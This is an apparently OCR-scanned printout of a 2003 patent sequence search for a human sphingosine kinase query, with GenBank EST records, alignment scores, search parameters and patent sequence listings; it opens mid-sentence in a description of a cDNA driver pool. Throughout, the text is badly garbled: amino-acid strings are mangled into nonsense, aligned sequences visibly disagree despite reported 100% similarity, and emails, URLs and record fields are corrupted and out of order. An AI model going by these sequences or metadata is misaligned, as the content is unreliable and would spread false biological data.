2,000 clones from the pool of normalized libraries, CN0, that makes up the tracer. The corresponding plates are R-CN0-BKW through R-CN0-BLD, R-CN0-BLG, R-CN0-BLP through R-CN0-BLR, R-CN0-BLT, R-CN0-BMW, and R-CN0-BMF through R-CN0-BML. This pool represented 5% of the final driver population. h) a pool of the 28 most abundant clones in the CN0 pool corresponding to the following addresses: bkw-a-09-0-UI, bkw-b-09-0-UI, bkw-b-11-0-UI, bkw-b-10-0-UI, bkw-b-01-0-UI, bkw-d-06-0-UI, bkw-g-08-0-UI, bkw-b-12-0-UI, bky-a-05-0-UI, bky-a-06-0-UI, bky-a-11-0-UI, bky-z-06-0-UI, bky-z-09-0-UI, bky-z-10-0-UI, bla-a-01-0-UI, bla-a-02-0-UI, bla-f-04-0-UI, bla-g-07-0-UI, bla-g-12-0-UI, blb-a-12-0-UI, blb-f-02-0-UI, blc-a-11-0-UI, blc-e-95-0-UI, bld-1-08-0-UI, bld-f-02-0-UI, blg-h-04-0-UI, bll-a-05-0-UI, bll-f-08-0-UI. This pool represented 5%

of the final driver population. 1) One abundant CN0 clone (corresponding to the address bkw-a-11-0-UI) was digested with Not I and Eco RI and the resulting insert was gel purified. This purified insert was added directly to the driver so that it represented 5% of the final driver population. TAG-Seq=None found"

BASE COUNT 136 a 210 c 178 g 138 t

ORIGIN

Alignment Scores:

Pred. No.:	Length:	Matches:
5 78e-99	662	111
Score: 111.00	Conservative: 0	
Percent Similarity: 100.00%	Mismatches: 0	
Best local Similarity: 100.00%	Indels: 0	
Query Match: 28.91%	Gaps: 0	
DB: 13		

US-09-784-810A-2 (1-384) x BM386957 (1-662)

QY 274 ALAAlaPrometGlyArgCysAlaAlaGlyValMetHisLeuPheTyrValArgAlaGly 293

DB 622 GCTCACCCATGGGCGCCTGTGCAGCTGGCGTATCATCTGTCTACGTGGCGCGGA 563

QY 294 ValserArgAlaMetLeuLeuArgLeuPheLeuAlaMetGluLysGlyArgHisMetGlu 313

DB 562 GTGTCTGTCGTCATGCTGCTGCGCTCTTCTGTCATGAGAGAGGCGCATATGAG 503

QY 314 TTTGTCGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCT 333

DB 502 TATGATATCCCTTCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCT 443

QY 334 GLYLysGlyValPheAlaValAlaSerGlyLysLeuMetValSerGluLysAlaValGlnGlyGln 353

DB 442 GGAAGAGGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCT 383

QY 354 ValHisProAsnTyrPheTyrMetValSerGlyValGlnProProSerTyrPyls 373

DB 382 GTGCACCCAACTACTTCTGATGTGTCAGCGGTGCGAGCCGCCACCTGAGAG 323

QY 374 ProGlnGlnMetProProGlnGlnProGln 384

DB 322 CCCACGATGCTCACCGCAGAGAGCCCTTA 290

RESULT 8

B0675531 999 bp mRNA linear EST 15-JUL-2002

LOCUS B0675531

DEFINITION AGENCOURT_8196565 NIH_MGC_102 Homo sapiens CDNA clone IMAGE:6256195

ACCESSION B0675531

VERSION B0675531.1 GI:21786365

KEYWORDS EST.

SOURCE human.

ORGANISM Homo sapiens

REFERENCE 1 (bases 1 to 999)

AUTHORS NIH-MGC <http://mhc.nci.nih.gov/>

TITLE National Institutes of Health, Mammalian Gene Collection (MGC)

JOURNAL Unpublished (1999)

COMMENT Unpublished (1999)

Contact: Robert Strausberg, Ph.D.

Email: cgabbs-remail.nih.gov

Tissue Procurement: ATCC

CDNA Library Preparation: Rubin Laboratory

CDNA Library Arrayed by: The I.M.A.G.E. Consortium (LLNL)

DNA Sequencing by: Agencourt Bioscience Corporation

Clone distribution: MGC clone distribution information can be found through the I.M.A.G.E. Consortium/LLNL at: <http://image.llnl.gov>

Plate: L10K2408 row: h column: 20

High quality sequence stop: 538.

Location/Qualifiers

1. .999

/organism="Homo sapiens"
/db_xref="taxon:9606"
/clone="IMAGE:6256195"
/clone_lib="NIH_MGC_102"
/tissue_type="epidermoid carcinoma, cell line"
/lab_host="DH10B (phage-resistant)"
/note="Organ: salivary gland; Vector: pORF7; Site_1: XhoI; Site_2: EcoRI; cDNA made by oligo-dT priming. Directionally cloned into EcoRI/XhoI sites using the following 5' adaptor: GGCACGAG(G). Library constructed by Ling Hong in the laboratory of Gerald M. Rubin (University of California, Berkeley) using ZAP-cDNA synthesis kit (Stratagene) and Superscript II RT (Life Technologies). Note: this is a NIH_MGC library."
BASE COUNT 175 a 337 c 315 g 171 t 1 others
ORIGIN
Alignment Scores:
Pred. No.: 7.01e-91 Length: 999
Score: 103.00 Matches: 103
Percent Similarity: 100.00% Conservative: 0
Best Local Similarity: 100.00% Mismatches: 0
Query Match: 26.82% Indels: 0
DB: 14 Gaps: 0
US-09-784-810A-2 (1-384) x BG675531 (1-999)
OY 42 LeuAlaGluAlaGluIleSerPheThrLeuMetLeuThrGluValArgAsnHisAlaArg 61
DB 3 TTGGCTGAGGCTGAATCTCCTCACGCTGATGCTACAGCGCGGACACCGCGG 62
OY 62 GluLeuValArgSerGluLeuGluValArgTrpAspAlaLeuValMetSerGlyasp 81
DB 63 GAGCTGGCGGCTGGAGAGAGCTGGCGGCTGGAGGCTGGTGTATGCTGGAGAGC 122
OY 82 GlyLeuMetHisGluValAlaValAsnGlyLeuMetGluValArgProAspTrpGluThrAlaIle 101
DB 123 GGGCTGATGACAGAGAGTGTGACAGGCTCATGAGCGGCTGACTGGAGAGCCCGCATC 182
OY 102 GluIysProLeuGlySerLeuProAlaGlySerGlyAsnAlaLeuAlaSerLeuAsn 121
DB 183 CAGAGGCCCTGTGAGGCTCCACAGAGGCTGTGCAAGCGCTGGAGGCTTCTTGAAC 242
OY 122 HisTrpAlaGlyTrpGluGluValThrAsnGluAspLeuLeuThrAsnGlyThrLeuLeu 141
DB 243 CATATGCTGGCTATGACAGAGTCAACATGAAGACCTCTGACCAACTGCACGCTATTG 302
OY 142 LeuGlyasp 144
DB 303 CTGTGCCGC 311
RESULT 9
BG678689 793 bp mRNA linear EST 01-MAY-2001
LOCUS 602624488F1 NCI_CGAP_Skn4 Homo sapiens cDNA clone IMAGE:4749573 5',
DEFINITION mRNA sequence.
ACCESSION BG678689
VERSION BG678689.1 GI:13910086
KEYWORDS EST.
SOURCE human.
ORGANISM Homo sapiens
Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
Mammalia; Eutheria; Primates; Catarrhini; Homnidae; Homo.
REFERENCE 1 (bases 1 to 793)
AUTHORS NIH-MGC http://mgc.nci.nih.gov/.
TITLE National Institutes of Health, Mammalian Gene Collection (MGC)
JOURNAL Unpublished (1999)
COMMENT Contact: Robert Strausberg, Ph.D.
Email: cga@bbs-remail.nih.gov
Tissue procurement: James Cleaver, M.D.
cDNA Library Preparation: Life Technologies, Inc.
cDNA Library Arrayed by: The I.M.A.G.E. Consortium (LNL)
DNA sequencing by: Incyte Genomics, Inc.

Clone distribution: MGC clone distribution information can be found through the I.M.A.G.E. Consortium/LNL at:
http://image.lnl.gov
Plate: LNL01602 row: p column: 22
High quality sequence stop: 669.
Location/Qualifiers
1. 793
/organism="Homo sapiens"
/db_xref="taxon:9606"
/clone="IMAGE:4749573"
/clone_lib="NCI_CGAP_Skn4"
/tissue_type="squamous cell carcinoma"
/lab_host="DH10B (T1 phage-resistant)"
/note="Organ: skin; Vector: pCMV-SPORT6; Site_1: NotI; Site_2: SalI; Cloned unidirectionally. Primer: Oligo dT. Average insert size 1.5kb. Library constructed by Life Technologies. Note: this is a NCI_CGAP library."
BASE COUNT 129 a 244 c 255 g 165 t
ORIGIN
Alignment Scores:
Pred. No.: 4.55e-85 Length: 793
Score: 97.00 Matches: 97
Percent Similarity: 100.00% Conservative: 0
Best Local Similarity: 100.00% Mismatches: 0
Query Match: 25.26% Indels: 0
DB: 12 Gaps: 0
US-09-784-810A-2 (1-384) x BG678689 (1-793)
OY 48 SerPheThrLeuMetLeuThrGluArgTrpAsnHisAlaArgGluLeuValArgSerGlu 67
DB 2 TCTTCACGCTGATGCTACTGAGCGGGAACACCGCGGAGCTGCGGTGGAG 61
OY 68 GluLeuGlyArgTrpAspAlaLeuValMetSerGlyAspGlyLeuMetHisGluVal 87
DB 62 GAGCTGGCGGCTGGAGAGCTGTGTGCTCATGCTGAGAGCGGCTGATGACAGAGGTG 121
OY 88 ValAsnGlyLeuMetGluArgProAspTrpGluThrAlaIleGluIysProLeuGlySer 107
DB 122 GTGAAGCGGCTCATGAGAGCGGCTGAGAGCGGCTGACATCCAGAACCCCTGTGAGC 181
OY 108 LeuProAlaGlySerGlyAsnAlaLeuAlaSerLeuAsnHisTrpAlaGlyTrpGlu 127
DB 182 CTCACAGAGGCTCTGGCAAGCGGCTGGACACTTCTTGAACATTAATGCGGCTATGAG 241
OY 128 GluValThrAsnGluAspLeuLeuThrAsnGlyThrLeuLeuGlyasp 144
DB 242 CAGGTCAACCAATGAAGACCTCTGACCAACTGACAGCTATTGCTGCCGC 292
RESULT 10
BM916526 1100 bp mRNA linear EST 12-MAR-2002
LOCUS 641989 NIH_MGC_41 Homo sapiens cDNA clone IMAGE:5482958
DEFINITION 5', mRNA sequence.
ACCESSION BM916526
VERSION BM916526.1 GI:19366905
KEYWORDS EST.
SOURCE human.
ORGANISM Homo sapiens
Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
Mammalia; Eutheria; Primates; Catarrhini; Homnidae; Homo.
REFERENCE 1 (bases 1 to 1100)
AUTHORS NIH-MGC http://mgc.nci.nih.gov/.
TITLE National Institutes of Health, Mammalian Gene Collection (MGC)
JOURNAL Unpublished (1999)
COMMENT Contact: Robert Strausberg, Ph.D.
Email: cga@bbs-remail.nih.gov
Tissue procurement: DCPD/DPF
cDNA Library Preparation: Rubin Laboratory
cDNA Library Arrayed by: The I.M.A.G.E. Consortium (LNL)
DNA sequencing by: Agencourt Bioscience Corporation
Clone distribution: MGC clone distribution information can be

found through the I.M.A.G.E. Consortium/LLNL at:
http://image.llnl.gov
Plate: LLCM2009 row: n column: 15
High quality sequence stop: 625.
Location/Qualifiers

FEATURES
source

1. 1100
/organism="Homo sapiens"
/db_xref="taxon:9606"
/clone_1ib="NIH_MGC_41"
/tissue_type="amelanotic melanoma, cell line"
/lab_host="DH10B (phage-resistant)"
/note="Organ: skin; Vector: pOTB7; Site_1: XhoI; Site_2:
EcoRI; cDNA made by oligo-dT priming. Directionally cloned
into EcoRI/XhoI sites using the following 5' adaptor:
GGCAGCAG(G). Library constructed by Ling Hong in the
Laboratory of Gerald M. Rubin (University of California,
Berkeley) using ZAP-cDNA synthesis kit (Stratagene) and
Superscript II RT (Life Technologies). Note: this is a
NIH_MGC Library."

BASE COUNT 187 a 333 c 348 g 222 t 10 others
ORIGIN

Alignment Scores:
Pred. No.: 6,26e-84 Length: 1100
Score: 96.00 Matches: 96
Percent Similarity: 100.00% Conservative: 0
Best Local Similarity: 100.00% Mismatches: 0
Query Match: 25.00% Indels: 0
DB: 14 Gaps: 0

US-09-784-810A-2 (1-384) x BM916526 (1-1100)

QY 49 Phehrlmleuethrighlurrgarhnsihlaarglueuvalargserglu 68
|||||
DB 3 TTCACGCTGATGCTCCTGAGCGGGAACACCGCGGAGCTGCTGGAGAG 62
QY 69 Leuglyartrpaspalaleuvalmetserglyaspjleumethisgluval 88
|||||
DB 63 CTGGGCGCTGGAGCGCTCTGCTGATGCTGAGACGCGCTGATGACAGGTG 122
QY 89 Asnglyleumethlurprpasprrpblunhralleclinsyproleucysseu 108
|||||
DB 123 AACGGGCTATGGAGCGGCTGACTGGAGACCGCCATCCAGAGCCCTGTGAGCTC 182
QY 109 Proalaglyserglyasnaalaleuvalaserleuanshistrayalaglytyrclu 128
|||||
DB 183 CCAGCAGGCTCTGGCAGCGCTGGACCTTCTTGACCAATTAATGCTGATGAGCAG 242
QY 129 Valthrasngluaspheuleuthrasncysythrleuleucysarg 144
|||||
DB 243 GTCACCAATGAGAGCTCTGACCAATGACGCTATTGCTGTGGCGC 290

RESULT 11
BM810136 1137 bp mRNA linear EST 05-MAR-2002
LOCUS
DEFINITION AGENCOURT_6579661 NIH_MGC_41 Homo sapiens cDNA clone IMAGE:5470089
5' mRNA sequence.
ACCESSION BM810136
VERSION BM810136.1 GI:19126959
KEYWORDS EST
SOURCE human.
ORGANISM Homo sapiens

REFERENCE Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
Mammalia; Eutheria; Primates; Catarrhini; Homnidae; Homo.
AUTHORS 1 (bases 1 to 1137)
TITLE NIH-MGC http://img.ccl.nih.gov/
JOURNAL National Institutes of Health, Mammalian Gene Collection (MGC)
COMMENT Unpublished (1999)
Contact: Robert Strausberg, Ph.D.
Email: cgabbs-remail.nih.gov
Tissue Procurement: DCID/DP
CDNA Library Preparation: Rubin Laboratory

CDNA Library Arrayed by: The I.M.A.G.E. Consortium (LLNL)
DNA Sequencing by: Agencourt Bioscience Corporation
Clone distribution: MGC clone distribution information can be
found through the I.M.A.G.E. Consortium/LLNL at:
http://image.llnl.gov
Plate: LLCM1976 row: f column: 10
High quality sequence stop: 623.
Location/Qualifiers

FEATURES
source

1. 1137
/organism="Homo sapiens"
/db_xref="taxon:9606"
/clone_1ib="NIH_MGC_41"
/tissue_type="amelanotic melanoma, cell line"
/lab_host="DH10B (phage-resistant)"
/note="Organ: skin; Vector: pOTB7; Site_1: XhoI; Site_2:
EcoRI; cDNA made by oligo-dT priming. Directionally cloned
into EcoRI/XhoI sites using the following 5' adaptor:
GGCAGCAG(G). Library constructed by Ling Hong in the
Laboratory of Gerald M. Rubin (University of California,
Berkeley) using ZAP-cDNA synthesis kit (Stratagene) and
Superscript II RT (Life Technologies). Note: this is a
NIH_MGC Library."

BASE COUNT 188 a 342 c 363 g 238 t 6 others
ORIGIN

Alignment Scores:
Pred. No.: 6,48e-84 Length: 1137
Score: 96.00 Matches: 96
Percent Similarity: 100.00% Conservative: 0
Best Local Similarity: 100.00% Mismatches: 0
Query Match: 25.00% Indels: 0
DB: 14 Gaps: 0

US-09-784-810A-2 (1-384) x BM810136 (1-1137)

QY 49 Phehrlmleuethrighlurrgarhnsihlaarglueuvalargserglu 68
|||||
DB 3 TTCACGCTGATGCTCCTGAGCGGGAACACCGCGGAGCTGCTGGAGAG 62
QY 69 Leuglyartrpaspalaleuvalmetserglyaspjleumethisgluval 88
|||||
DB 63 CTGGGCGCTGGAGCGCTCTGCTGATGCTGAGACGCGCTGATGACAGGTG 122
QY 89 Asnglyleumethlurprpasprrpblunhralleclinsyproleucysseu 108
|||||
DB 123 AACGGGCTATGGAGCGGCTGACTGGAGACCGCCATCCAGAGCCCTGTGAGCTC 182
QY 109 Proalaglyserglyasnaalaleuvalaserleuanshistrayalaglytyrclu 128
|||||
DB 183 CCAGCAGGCTCTGGCAGCGCTGGACCTTCTTGACCAATTAATGCTGATGAGCAG 242
QY 129 Valthrasngluaspheuleuthrasncysythrleuleucysarg 144
|||||
DB 243 GTCACCAATGAGAGCTCTGACCAATGACGCTATTGCTGTGGCGC 290

RESULT 12
AW963415 676 bp mRNA linear EST 01-JUN-2000
LOCUS
DEFINITION ES3375486 MAGE resequences; MACH Homo sapiens cDNA, mRNA sequence.
ACCESSION AW963415
VERSION AW963415.1 GI:8153251
KEYWORDS EST
SOURCE human.
ORGANISM Homo sapiens

REFERENCE Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
Mammalia; Eutheria; Primates; Catarrhini; Homnidae; Homo.
AUTHORS 1 (bases 1 to 676)
TITLE Hedge P., Qi, R., Aherath, K., Dharp, S., Gaspard, R., Gay, C., Holt
I.E., Saeed, A.I., Sharov, V., Lee, N.H., Yeaman, T.J., and
Quackenbush, J.
Assessment of gene expression patterns in a model of colon tumor
metastasis using a 19,200 element cDNA microarray

GenCore version 5.1.6
Copyright (c) 1993 - 2003 CompuGen Ltd.

OW protein - nucleic search, using frame_plus_p2n model

Run on: July 12, 2003, 19:55:33 ; Search time 218 Seconds
(without alignments)
2781.350 Million cell updates/sec

Title: US-09-784-810A-2

Perfect score: 384

Sequence: 1 MDPAGPRGVLPKRCRLVL.....CVPKPPKRPQMPPEEPL 384

Scoring table:

OLIGO	Xgapex 60.0	Xgapex 60.0
Xgapop 60.0	Xgapex 60.0	Xgapex 60.0
Xgapop 6.0	Xgapex 7.0	Xgapex 7.0
Delop 6.0	Delox 7.0	Delox 7.0

Searched: 1105431 seqs, 789497651 residues

Word size: 1

Total number of hits satisfying chosen parameters: 2208254

Minimum DB seq length: 0
Maximum DB seq length: 200000000

Post-processing: Listing first 45 summaries

Command line parameters:

-MODEL-frame.p2n.model -DEV-rlh
-Q-/cg2_1/USPTO.spool/US09784810/runat_11072003_103505_27238/app_query.fasta_1.583
-DB-published.Applications_NA -OPT-fastap -SUFFIX-olig.rnpb -MINMATCH-0.1
-LOOPCL-0 -LOOPEXT-0 -UNITS-bits -START-1 -END-1 -MATRIX-oligo
-TRANS-human40.cdt -LIST-45 -DOCCALIGN-200 -THR_SCORE-quality -THR_MIN-1
-ALIGN-15 -MODE-LOCAL -OUTEXT-pto -NORM-ext -HEAPSIZE-500 -MINLEN-0
-MATELEN-200000000 -USER-US09784810 -ECGN_1_1_57 -runat_11072003_103505_27238
-NCPU-6 -ICPU-3 -NO_MMAP -LARGEREQUENT -NEG_SCORES-0 -WAIT -DSPLOCK-100
-LONGLOC -DEV-TIMEOUT-120 -WARN_TIMEOUT-30 -THREADS-1 -XGAPOP-60 -XGAPEXT-60
-FGAPOP-6 -FGAPEXT-7 -YGAPOP-60 -YGAPEXT-60 -DELOP-6 -DELEXT-7

Database: Published Applications_NA:*

1: /cg2_6/ptodata/1/pubpna/US07_NEM_PUB.seq:*
2: /cg2_6/ptodata/1/pubpna/PCT_NEM_PUB.seq:*
3: /cg2_6/ptodata/1/pubpna/US06_NEM_PUB.seq:*
4: /cg2_6/ptodata/1/pubpna/US06_PUBCOMB.seq:*
5: /cg2_6/ptodata/1/pubpna/PCYUS_PUBCOMB.seq:*
6: /cg2_6/ptodata/1/pubpna/US07_PUBCOMB.seq:*
7: /cg2_6/ptodata/1/pubpna/US08_NEM_PUB.seq:*
8: /cg2_6/ptodata/1/pubpna/US08_PUBCOMB.seq:*
9: /cg2_6/ptodata/1/pubpna/US09_NEM_PUB.seq:*
10: /cg2_6/ptodata/1/pubpna/US09_PUBCOMB.seq:*
11: /cg2_6/ptodata/1/pubpna/US10_NEM_PUB.seq:*
12: /cg2_6/ptodata/1/pubpna/US10_PUBCOMB.seq:*
13: /cg2_6/ptodata/1/pubpna/US60_NEM_PUB.seq:*
14: /cg2_6/ptodata/1/pubpna/US60_PUBCOMB.seq:*

Pred. No. is the number of results predicted by chance to have a score greater than or equal to the score of the result being printed, and is derived by analysis of the total score distribution.

SUMMARIES

Result No.	Score	Query Match	Length	ID	Description
1	384	100.0	1600	US-09-784-810A-1	Sequence 1, Appl1
2	144	37.5	1155	US-09-970-516-1	Sequence 1, Appl1
3	115	29.9	1533	US-10-023-282-90	Sequence 90, Appl1
4	65	16.9	199	US-09-796-692-2905	Sequence 2905, Ap

5	65	16.9	199	9	US-10-040-862-2905	Sequence 2905, Ap
6	63	16.4	296	10	US-10-015-219-658	Sequence 658, App
7	63	16.4	296	10	US-09-777-564-658	Sequence 568, App
8	39	10.2	394	10	US-09-954-456-1756	Sequence 1756, Ap
9	33	8.6	1149	10	US-09-970-516-5	Sequence 5, Appl1
10	33	8.6	1759	10	US-09-784-810A-3	Sequence 3, Appl1
11	26	6.8	480	10	US-09-783-590-9248	Sequence 9248, Ap
12	9	2.3	30	10	US-09-796-487-17	Sequence 17, Appl
13	9	2.3	436	10	US-09-860-352-8686	Sequence 8686, Ap
14	9	2.3	1857	10	US-09-970-516-3	Sequence 3, Appl1
15	9	2.3	2380	10	US-09-817-676A-13	Sequence 13, Appl1
16	8	2.1	412	10	US-09-918-995-36854	Sequence 36854, A
17	8	2.1	399	10	US-09-960-352-13161	Sequence 13161, A
18	8	2.1	440	10	US-09-960-352-12927	Sequence 12927, A
19	8	2.1	459	9	US-09-918-995-36954	Sequence 36954, A
20	8	2.1	463	9	US-09-918-995-11171	Sequence 11171, A
21	8	2.1	600	10	US-09-864-761-12586	Sequence 12586, A
22	8	2.1	948	9	US-10-128-714-2287	Sequence 2287, Ap
23	8	2.1	954	9	US-10-156-761-3934	Sequence 3934, Ap
24	8	2.1	1128	10	US-09-956-004-25	Sequence 25, Appl
25	8	2.1	1185	9	US-10-128-714-1287	Sequence 1287, Ap
26	8	2.1	1281	9	US-10-128-714-7287	Sequence 7287, Ap
27	8	2.1	1314	9	US-10-198-846-10190	Sequence 10190, A
28	8	2.1	1425	9	US-10-267-255-81	Sequence 81, Appl
29	8	2.1	1506	9	US-10-156-761-5829	Sequence 5829, Ap
30	8	2.1	1530	10	US-09-925-301-512	Sequence 512, App
31	8	2.1	1562	9	US-10-128-714-6287	Sequence 6287, Ap
32	8	2.1	1607	10	US-09-925-302-336	Sequence 336, App
33	8	2.1	1789	10	US-09-840-704-1	Sequence 1, Appl1
34	8	2.1	1792	10	US-09-822-830A-420	Sequence 420, Appl
35	8	2.1	1822	10	US-09-929-918-8	Sequence 8, Appl1
36	8	2.1	2645	9	US-09-764-891-110	Sequence 110, App
37	8	2.1	2658	9	US-09-764-891-6556	Sequence 6556, Ap
38	8	2.1	2837	9	US-09-822-846-58	Sequence 58, Appl
39	8	2.1	3185	9	US-10-128-714-287	Sequence 287, App
40	8	2.1	3562	9	US-10-128-714-5287	Sequence 5287, Ap
41	8	2.1	4808	9	US-10-142-174-6	Sequence 6, Appl1
42	8	2.1	4901	10	US-09-764-864-1710	Sequence 1710, Ap
43	8	2.1	5258	9	US-09-764-891-7457	Sequence 7457, Ap
44	8	2.1	5763	12	US-10-002-600-79	Sequence 79, Appl
45	8	2.1	12332	9	US-09-764-891-9634	Sequence 9634, Ap

ALIGNMENTS

RESULT 1
US-09-784-810A-1
Sequence 1, Application US/09784810A
Patent No. US20020082203A1
GENERAL INFORMATION:
APPLICANT: RASTRELLI, LUCA
TITLE OF INVENTION: NOVEL SPHINGOSINE KINASES AND NUCLEIC ACIDS ENCODING
FILE REFERENCE: 10716-08
CURRENT APPLICATION NUMBER: US/09/784, 810A
CURRENT FILING DATE: 2001-02-14
PRIOR APPLICATION NUMBER: 60/182,360
PRIOR FILING DATE: 2000-02-14
PRIOR APPLICATION NUMBER: 60/191,261
PRIOR FILING DATE: 2000-03-22
NUMBER OF SEQ ID NOS: 29
SOFTWARE: PatentIn Ver. 2.1
SEQ ID NO 1
LENGTH: 1600
TYPE: DNA
ORGANISM: Homo sapiens
FEATURE:
NAME/KEY: modified_base
LOCATION: (1)
OTHER INFORMATION: a, t, c, g, other or unknown
US-09-784-810A-1
Alignment Scores:

OY	121	ASNHISYLAIAIYGRUGIIVAIITPRAANGIUAASPLEUENLTHASPCYSRHLIU	140
Db	361	AACCATTAATGCTGCTATGATGACGATCACCAATGAAGACCTCTTACCAAACTGCACGGTA	420
OY	141	LEULDEUCYSARPGPROVAL--LEUSERPROMETASNULEUSERLEUNHISTHIALASERG	160
Db	421	TTCGTGTCGGC-CCGGC-TGCTGTACCCATGAACTGCTGTCTGTGCACACGGCTTGGG	478
OY	160	LYLEUARGSER-PHESERVALLEUSERLEUALATTPGLYPHEILEALASPYALASPLEU	179
Db	479	GCGTCGGCCCT-CTTCTCTGTGTGCACCCCTGGCTGGGGCTTCAATTCATGTGATGGACCTTA	537
OY	180	GLUSERASP-LYSTYARGARGLEUENLYGIMETARGPHEHTHLEUENLYTHPHLEUAR	199
Db	538	GAGAGGTGA-GAATATATGCGGTGTGGGGAGATGCGCTTCACTGTGGACCTTCTCGC	596
OY	199	GLEUALAIALALEUARGTHTYARGIYLARGLEUALATHR-LEUPROVALGIYARGVALG	219
Db	597	TCTGGACGCCCTCGCACCTACCGCGCGGCGACTGGCTTA-CTCCCTGTAGGAAGATG-6	654
OY	219	LYPHE-LYSTHPRALASERPROVALVALVALGINGLINGLYPROVALASPLAHISLEU	238
Db	655	GGTTCACAGACACTGGCTGCCCGGTTGTGTGCACACAGGCGCGGTATATGCACACCTT	714
OY	239	VALPROLEUGIUGIUGIN-VALPROSERHISTTRGILN-VALVALPROASPIUASPRHEV	258
Db	715	GTGCGCATGTGAGAGACC-AGTGGCCCTCTCACTGGAC-AGTGTGGCCCGCAGCGACTTTTG	772
OY	258	ALLEUVALLEUALLEUENHISERHISLEUALA-SERGLIMETPHEALALAPROMET	277
Db	773	TGCTAGTCTCGGACCTGTGCTACCTCGACCTGGG-CAGTGAATATGTGTGCTCACCCATG	831
OY	278	GLYARGCYSAIALAAGIYUAMETHISLEUPHETRYVALARGALAGIYALSERARGLA	297
Db	832	GCGCGCTGTCACACTGGCGCTGCATGATGTTCTTACGTGCGGGGAGATGTCTGTGCC	891
OY	298	METLEUENARGLEUPHELEUALAMETGLIULYSGLIYARGHISMESGLITRYGLUCYSPRO	317
Db	892	ATGCTGTGCGCCTCTCTCTCGGCAATGAGAGAGGCGCATATGATGATGAAATGCCCC	951
OY	318	TYTLEUVALIYTRYVALPROVALVALALAPHEARGLEUGLUPROLYASPSLYLVSGLIYAL	337
Db	952	TACTTGGTATATGTGCCCGCTGGCTGCCCTTCCGCTTGGACCCCAAGATGGGAAAGGTGG	1011
OY	338	PHEALAVASPSLYGILEUMETVALSERGLUALAVALAIGLINGIYGLINVALHISPROASN	357
Db	1012	TTTGCACTGATGATGGGAATGTGATTAGGAGGCGCTGCAGAGGCGAGGTGACCCAAAC	1071
OY	358	TYTPHETPMETVALSERGLIYCYVALIGLUPROPROPROSERTTRYLSPROGLINMET	377
Db	1072	TACTTCTGATGTGTGACGCGTTGCTGTGAGAGCCCGCCACGCTGGAAGCCCGACAGATG	1131
OY	378	PROBROPROGLIUGLUPROLEU 384	
Db	1132	CCACCGCCGAGAAGAGCCCTTA 1152	
US-10-023-282-90			
Sequence 90, Application US/10023282			
PUBLICATION NO. US20030092893A1			
GENERAL INFORMATION:			
APPLICANT: Young et al.			
TITLE OF INVENTION: 207 Human Secreted Proteins			
FILE REFERENCE: P2007P1			
CURRENT APPLICATION NUMBER: US/10/023,282			
EARLIER FILING DATE: 2001-12-20			
EARLIER APPLICATION NUMBER: 09/205,258			
EARLIER FILING DATE: 1998-12-04			
EARLIER APPLICATION NUMBER: PCT/US98/11422			
EARLIER FILING DATE: 1998-06-04			
EARLIER APPLICATION NUMBER: 60/048,885			
EARLIER FILING DATE: 1997-06-06			
EARLIER APPLICATION NUMBER: 60/049,375			
EARLIER FILING DATE: 1997-06-06			
EARLIER APPLICATION NUMBER: 60/048,881			
EARLIER FILING DATE: 1997-06-06			
EARLIER APPLICATION NUMBER: 60/048,880			
EARLIER FILING DATE: 1997-06-06			
EARLIER APPLICATION NUMBER: 60/048,896			
EARLIER FILING DATE: 1997-06-06			
EARLIER APPLICATION NUMBER: 60/049,020			
EARLIER FILING DATE: 1997-06-06			
EARLIER APPLICATION NUMBER: 60/048,876			
EARLIER FILING DATE: 1997-06-06			
EARLIER APPLICATION NUMBER: 60/048,895			
EARLIER FILING DATE: 1997-06-06			
EARLIER APPLICATION NUMBER: 60/048,884			
EARLIER FILING DATE: 1997-06-06			
EARLIER APPLICATION NUMBER: 60/048,894			
EARLIER FILING DATE: 1997-06-06			
EARLIER APPLICATION NUMBER: 60/048,921			
EARLIER FILING DATE: 1997-06-06			
EARLIER APPLICATION NUMBER: 60/048,964			
EARLIER FILING DATE: 1997-06-06			
EARLIER APPLICATION NUMBER: 60/048,882			
EAR			

EARLIER APPLICATION NUMBER: 60/094,657
EARLIER FILING DATE: 1998-07-30
NUMBER OF SEQ ID NOS: 1227
SOFTWARE: Patentln Ver. 2.0
SEQ ID NO 90
LENGTH: 1533
TYPE: DNA
ORGANISM: Homo sapiens
FEATURE:
NAME/KEY: SITE
LOCATION: (112)
OTHER INFORMATION: n equals a,t,g, or c
FEATURE:
NAME/KEY: SITE
LOCATION: (123)
OTHER INFORMATION: n equals a,t,g, or c
FEATURE:
NAME/KEY: SITE
LOCATION: (1522)
OTHER INFORMATION: n equals a,t,g, or c
FEATURE:
NAME/KEY: SITE
LOCATION: (1527)
OTHER INFORMATION: n equals a,t,g, or c
US-10-023-282-90

Alignment Scores:
Pred. No.: 6,92e-106 Length: 1533
Score: 115.00 Matches: 115
Percent Similarity: 100.00% Conservative: 0
Best Local Similarity: 100.00% Mismatches: 0
Query Match: 29.95% Indels: 0
Gaps: 0

US-09-784-810A-2 (1-384) x US-10-023-282-90 (1-1533)

QY 270 SerGluMetPheAlaAlaProMetGluYrGysAlaIaIaGlyValMetHisLeuPheTyr 289
DB 881 AGTGAATGTTGCTGCGACCCATGGGCGCTGTGCGAGTGGCGTATGATGCTGTCTAC 940
QY 290 ValArgAlaGlyValSerArgAlaMetLeuLeuArgLeuPheLeuAlaMetGluLysGly 309
DB 941 GTGCGGGCGGAGTGTCTGTCGATGCTGCGCTCTCTCCGCGCATGGAGAGGCG 1000
QY 310 ArgHisMetGluTyrGluYrProTyrLeuValTyrValProValAlaAlaPheArgLeu 329
DB 1001 AGCATATGAGATGATAATGCCCTACTGTGATATGTCGCCGTGTCGCTTCCGCTTG 1060
QY 330 GluProLysAspGlyLysGlyValPheAlaValAspGlyLysLeuMetValSerGluAla 349
DB 1061 GAGCCCAAGATGGAAAGGTGTGTCAGTGCATGGGGAATGTGTTGATGCGAGGCC 1120
QY 350 ValGlnGlyGlnValHisProAsnTyrPheTrpMetValSerGlyCysValGluProPro 369
